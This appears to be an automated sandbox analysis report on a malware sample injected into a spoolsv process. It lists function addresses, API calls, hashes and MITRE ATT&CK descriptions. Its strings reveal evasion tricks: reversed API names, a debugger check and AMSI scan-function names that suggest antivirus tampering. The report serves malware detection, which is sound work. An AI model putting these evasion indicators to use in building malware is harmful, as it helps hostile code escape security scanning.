Opcode Fuzzy Hash: b5e316522baf2860815bfe892ef7778b04a6ec91f882216649677726fa1e674a
Instruction Fuzzy Hash: 7201D879954328BAF711DB90CD42BBD77FCEB08710F1005E1BA0CD7680E678AA14DB59

Function 02B380C8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B38150,?,?,00000000,00000000,?,02B38069,00000000,KernelBASE,00000000,00000000,02B38090), ref: 02B38115
GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B3811B
GetProcAddress.KERNEL32(?,?), ref: 02B3812D

Strings

Kernel32, xrefs: 02B38110
sserddAcorPteG, xrefs: 02B380E3

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: Kernel32$sserddAcorPteG
API String ID: 667068680-1372893251
Opcode ID: bf131f930ea677c29918707b05887c30f511c337a2d23e3fecfe536b4cb7add5
Instruction ID: 218e757731d52521c7229a1be98e16748d1d8501fd0f26f3e7b871451cc3e6d1
Opcode Fuzzy Hash: bf131f930ea677c29918707b05887c30f511c337a2d23e3fecfe536b4cb7add5
Instruction Fuzzy Hash: 63016D79A50304BFEB01EFA8DC41E9E77BEEB4C710F5188E4B508E7A10DA70A915CE25

Function 02B2A9D8 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,02B2AA6F,?,?,00000000), ref: 02B2A9F0

Part of subcall function 02B2A74C: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02B2A76A

GetThreadLocale.KERNEL32(00000000,00000004,00000000,02B2AA6F,?,?,00000000), ref: 02B2AA20
EnumCalendarInfoA.KERNEL32(Function_0000A924,00000000,00000000,00000004), ref: 02B2AA2B
GetThreadLocale.KERNEL32(00000000,00000003,00000000,02B2AA6F,?,?,00000000), ref: 02B2AA49
EnumCalendarInfoA.KERNEL32(Function_0000A960,00000000,00000000,00000003), ref: 02B2AA54

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: dcb2dcd419bc87dcca85deafc239ae01a8eee235ef556e3995ffb4eacaa8da91
Instruction ID: f3834634a280166f8aa88b01b3b561b4024db7c5e6ee43baababae2510670d02
Opcode Fuzzy Hash: dcb2dcd419bc87dcca85deafc239ae01a8eee235ef556e3995ffb4eacaa8da91
Instruction Fuzzy Hash: 8A01F7316003786FF702F6748D12B9E735DDF47B20F5105E0F62DA66D4D6289E0C8AA4

Function 02B2AA88 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,02B2AC58,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 02B2AAB7

Part of subcall function 02B2A74C: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02B2A76A

Strings

ggg, xrefs: 02B2AB9D
yyyy, xrefs: 02B2ABAD
eeee, xrefs: 02B2ABC6

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: cb6e26d75aff4d6083ac27b390f6f01aa6deaa94d882d376a6204c5ba9c09be9
Instruction ID: b2fb36c493298af64ad8127b9d62fb44fa263c3a8731c585249b71653d74f2b5
Opcode Fuzzy Hash: cb6e26d75aff4d6083ac27b390f6f01aa6deaa94d882d376a6204c5ba9c09be9
Instruction Fuzzy Hash: 884101717043354BC712AB688C942BEB3FBDB85200B1459E6E47ED7754DA38ED0ECA21

Function 02B38020 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B38090,?,?,00000000,?,02B37A06,ntdll,00000000,00000000,02B37A4B,?,?,00000000), ref: 02B3805E

Part of subcall function 02B380C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B38150,?,?,00000000,00000000,?,02B38069,00000000,KernelBASE,00000000,00000000,02B38090), ref: 02B38115
Part of subcall function 02B380C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B3811B
Part of subcall function 02B380C8: GetProcAddress.KERNEL32(?,?), ref: 02B3812D

GetModuleHandleA.KERNELBASE(?), ref: 02B38072

Strings

AeldnaHeludoMteG, xrefs: 02B38039
KernelBASE, xrefs: 02B38059

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: AeldnaHeludoMteG$KernelBASE
API String ID: 1883125708-1952140341
Opcode ID: 7a3af72cd2afb81b8283300aacb43afe949e31ef7981d7fc34aff21776668785
Instruction ID: 34f0a74b67e3e293085dbdeaa66543a44617184e7cdd1e280bb07e06b37b1de0
Opcode Fuzzy Hash: 7a3af72cd2afb81b8283300aacb43afe949e31ef7981d7fc34aff21776668785
Instruction Fuzzy Hash: 80F09071650304BFEB02EFB8DC4195E77BEEB49B40B9149E0F508D3A20DA30AD14DA66

Function 02B3EB94 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KernelBase,?,02B3EF98,UacInitialize,02B8137C,02B4AFD8,OpenSession,02B8137C,02B4AFD8,ScanBuffer,02B8137C,02B4AFD8,ScanString,02B8137C,02B4AFD8,Initialize), ref: 02B3EB9A
GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 02B3EBAC

Strings

IsDebuggerPresent, xrefs: 02B3EBA6
KernelBase, xrefs: 02B3EB95

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsDebuggerPresent$KernelBase
API String ID: 1646373207-2367923768
Opcode ID: d85ca7504f6aac252242e8027f2d5bc959263f57c90c705bbae2fed167317b85
Instruction ID: 66e3cfeb1721c5ecdfd32ae00901e07b39d1d299dec6f5614835a451a9081605
Opcode Fuzzy Hash: d85ca7504f6aac252242e8027f2d5bc959263f57c90c705bbae2fed167317b85
Instruction Fuzzy Hash: A0D012717557601DB5033AF40CC4C9E23CD8F055297200EF2B027D10E2F666C8195511

Function 02B2C3FC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,02B4C10B,00000000,02B4C11E), ref: 02B2C402
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 02B2C413

Strings

GetDiskFreeSpaceExA, xrefs: 02B2C40D
kernel32.dll, xrefs: 02B2C3FD

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: d78dfe55109e5ee6a7026e2c3f8898d98dbcf7d7754776f38b7dddca1ef80af2
Instruction ID: 740e3682fe1346c39dfa4f8e5175653f30bec462c1cd327f78ed9781a32515db
Opcode Fuzzy Hash: d78dfe55109e5ee6a7026e2c3f8898d98dbcf7d7754776f38b7dddca1ef80af2
Instruction Fuzzy Hash: 91D05EB8A413324EE3115AB168C063B3BC8A714744F9568E6A01D47101C7B1541C4F86

Function 02B2E170 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02B2E21F
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02B2E23B
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02B2E2B2
VariantClear.OLEAUT32(?), ref: 02B2E2DB

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction ID: a9c524b25edf70153e6217441a770812c6b7468717c797f62d67fdb192fd17e1
Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction Fuzzy Hash: 7B41F875A007299BCB61DB59CC90BD9B3BDEB4C205F0042E5E64DA7251DA34EF888F60

Function 02B2ACC4 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 02B2ACE1
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02B2AD05
GetModuleFileNameA.KERNEL32(02B20000,?,00000105), ref: 02B2AD20
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02B2ADB6

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 6dc0c0e5f0f3c06ea908710f8f7bc28e85b027a4ea681f5289db551793230406
Instruction ID: 4e65494875e869666e87630d5aa6cb91de68c41b53aac7ad83c0a64dcb4f0523
Opcode Fuzzy Hash: 6dc0c0e5f0f3c06ea908710f8f7bc28e85b027a4ea681f5289db551793230406
Instruction Fuzzy Hash: 2F412B71A003689BDB61EB68CC84BDAB7FDAB18340F0044E5A64CE7251DB749F88CF50

Function 02B2ACC2 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 02B2ACE1
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02B2AD05
GetModuleFileNameA.KERNEL32(02B20000,?,00000105), ref: 02B2AD20
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02B2ADB6

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: a9b3d7dd9b9750a74c0ca94194c9f31952b7e91fbcd3e6d43575a63df110d1e0
Instruction ID: 6efd59e0731eef771b5703f508436eab69768be433a7de59e342b665b690df1a
Opcode Fuzzy Hash: a9b3d7dd9b9750a74c0ca94194c9f31952b7e91fbcd3e6d43575a63df110d1e0
Instruction Fuzzy Hash: 1F410871A403A89BDB61EB68CC84BDAB7EDAB18341F0444E5A64CE7251DB749F88CF50

Function 02B21C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 946857dcb933822409bca6afe2e70c9e6fd5c4f4945d42e3ee3e795b048f24fc
Instruction ID: b4b5eaaae65d75ed8967f4af1fe44883c9f3919e991df1f14feb89b47892d704
Opcode Fuzzy Hash: 946857dcb933822409bca6afe2e70c9e6fd5c4f4945d42e3ee3e795b048f24fc
Instruction Fuzzy Hash: 3FA1E8767317244BE718EA7C9C803ADB386DBC4265F1842FEE52DCB387DB64C9498650

Function 02B29474 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,02B29562), ref: 02B294FA
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,02B29562), ref: 02B29500

Strings

yyyy, xrefs: 02B294D5

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: 4be8b1c6ac923cfa98da1cc7e9e9d6c2e42d3f5bada0c1500bf95bdd57aef761
Instruction ID: f02842c6a1dff4a98f8f898c1bde4fa9cb59af38e83a7ee73957e50e20103fb0
Opcode Fuzzy Hash: 4be8b1c6ac923cfa98da1cc7e9e9d6c2e42d3f5bada0c1500bf95bdd57aef761
Instruction Fuzzy Hash: E9216871A007389FDB11DFA8C881AEAB3BDEF48710F6100E5E94DE7651D6349E488BA5

Function 02B26444 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 02B2644D
TlsGetValue.KERNEL32(0000001D), ref: 02B26462

Strings

`R, xrefs: 02B26467

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: AllocValue
String ID: `R
API String ID: 1189806713-3405809726
Opcode ID: 19dc40705e774793db41613219259b414d9bb1183889fa99e42f087d3072a950
Instruction ID: 77c502de16b857a573282862e186b95491de997d97a6a4e3b3603ef08c64cf2b
Opcode Fuzzy Hash: 19dc40705e774793db41613219259b414d9bb1183889fa99e42f087d3072a950
Instruction Fuzzy Hash: 8CC002B4E40322CAEF01BBB99544A093BDDEB04385F049DA5B468C7148EB35D41DDF54

Function 02B3AD64 Relevance: 5.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 02B3AD98
IsBadWritePtr.KERNEL32(?,00000004), ref: 02B3ADC8
IsBadReadPtr.KERNEL32(?,00000008), ref: 02B3ADE7
IsBadReadPtr.KERNEL32(?,00000004), ref: 02B3ADF3

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: Read$Write
String ID:
API String ID: 3448952669-0
Opcode ID: 234bf798fc81b872ff5a85eead7648d9943be952996fa50f1c2af5a655f4751e
Instruction ID: 7ae4007002f3838c0aad9adce82d5a6159916b0873d2cb576ed879b95f91bf5e
Opcode Fuzzy Hash: 234bf798fc81b872ff5a85eead7648d9943be952996fa50f1c2af5a655f4751e
Instruction Fuzzy Hash: A021B4B1A403199BDB12DF69CC80BAE77B9EF44312F104191EE9597344EB38E915DAA0

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
